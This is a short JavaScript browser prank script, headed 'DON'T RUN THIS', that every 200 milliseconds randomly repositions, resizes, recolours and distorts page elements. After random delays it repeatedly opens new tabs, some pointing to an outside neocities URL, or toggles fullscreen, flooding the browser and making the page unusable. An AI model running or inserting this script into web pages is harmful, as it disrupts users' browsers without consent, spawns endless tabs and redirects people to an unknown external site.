DON'T RUN THIS
(function() {
// Helper functions
function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function getRandomFloat(min, max) {
return Math.random() * (max - min) + min;
}
function getRandomColor() {
return `rgb(${getRandomInt(0,255)}, ${getRandomInt(0,255)}, ${getRandomInt(0,255)})`;
}
function mutateElement(el) {
if (!el || !el.style) return;
// Random position
el.style.position = 'fixed';
el.style.left = getRandomFloat(0, window.innerWidth) + 'px';
el.style.top = getRandomFloat(0, window.innerHeight) + 'px';
// Random size
const size = getRandomFloat(5, 200);
el.style.width = size + 'px';
el.style.height = size + 'px';
// Random colors
el.style.backgroundColor = getRandomColor();
el.style.color = getRandomColor();
// Random font size
el.style.fontSize = getRandomFloat(4, 50) + 'px';
// Random transform
const scale = getRandomFloat(0.1, 3);
const rotate = getRandomInt(0, 360);
const skewX = getRandomFloat(-45, 45);
const skewY = getRandomFloat(-45, 45);
el.style.transform = `scale(${scale}) rotate(${rotate}deg) skewX(${skewX}deg) skewY(${skewY}deg)`;
// Random filter
const hue = getRandomInt(0, 360);
const sat = getRandomFloat(0, 3);
const brightness = getRandomFloat(0, 3);
el.style.filter = `hue-rotate(${hue}deg) saturate(${sat}) brightness(${brightness})`;
}
// Function to perform the mutation cycle
function mutateRandomElement() {
const allElements = Array.from(document.querySelectorAll('*')).filter(e => e.style);
if (allElements.length === 0) return;
const el = allElements[getRandomInt(0, allElements.length - 1)];
mutateElement(el);
// Random duration between 5 and 10 seconds
const duration = getRandomFloat(5, 10) * 1000;
setTimeout(() => {
// After duration, perform one of the actions
const action = Math.random();
if (action < 0.33) {
// Open URL in new tab
window.open('https://lampik499site.neocities.org/redirect63toww1183lampik183net2F', '_blank');
} else if (action < 0.66) {
// Open new tab
window.open('about:blank', '_blank');
} else {
// Toggle fullscreen if possible
if (!document.fullscreenElement) {
document.documentElement.requestFullscreen().catch(() => {});
} else {
document.exitFullscreen().catch(() => {});
}
}
}, duration);
}
// Repeat every 200ms
const intervalId = setInterval(mutateRandomElement, 200);
// Optional: To stop after some time, uncomment below
// setTimeout(() => clearInterval(intervalId), 600000); // stops after 10 min
})();